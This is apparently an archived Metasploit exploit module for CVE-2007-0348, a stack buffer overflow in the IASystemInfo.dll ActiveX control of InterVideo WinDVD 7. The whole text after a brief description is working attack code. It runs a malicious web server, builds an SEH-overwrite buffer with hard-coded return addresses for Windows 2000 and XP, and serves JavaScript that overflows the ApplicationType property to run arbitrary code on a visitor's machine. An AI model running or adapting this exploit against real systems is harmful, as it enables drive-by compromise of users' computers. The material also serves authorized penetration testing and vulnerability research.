This Metasploit module exploits a stack overflow in IASystemInfo.dll ActiveX control in InterVideo WinDVD 7. By sending a overly long string to the "ApplicationType()" property, an attacker may be able to execute arbitrary code.
d451c1b6c7e6b368e36283f2adac6af6110270fca2f533cf6b97b0b155cb5207##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in IASystemInfo.dll ActiveX
control in InterVideo WinDVD 7. By sending a overly long string
to the "ApplicationType()" property, an attacker may be able to
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-0348' ],
[ 'OSVDB', '34315' ],
[ 'BID', '23071' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
],
'DisclosureDate' => 'Mar 20 2007',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Build the exploit buffer
filler = rand_text_alpha(548)
seh = generate_seh_payload(target.ret)
sploit = filler + seh
# Build out the message
content = %Q|
<html>
<object classid='clsid:B727C217-2022-11D4-B2C6-0050DA1BD906' id='#{vname}'></object>
<script language='javascript'>
#{strname}= new String('#{sploit}')
#{vname}.ApplicationType = #{strname}
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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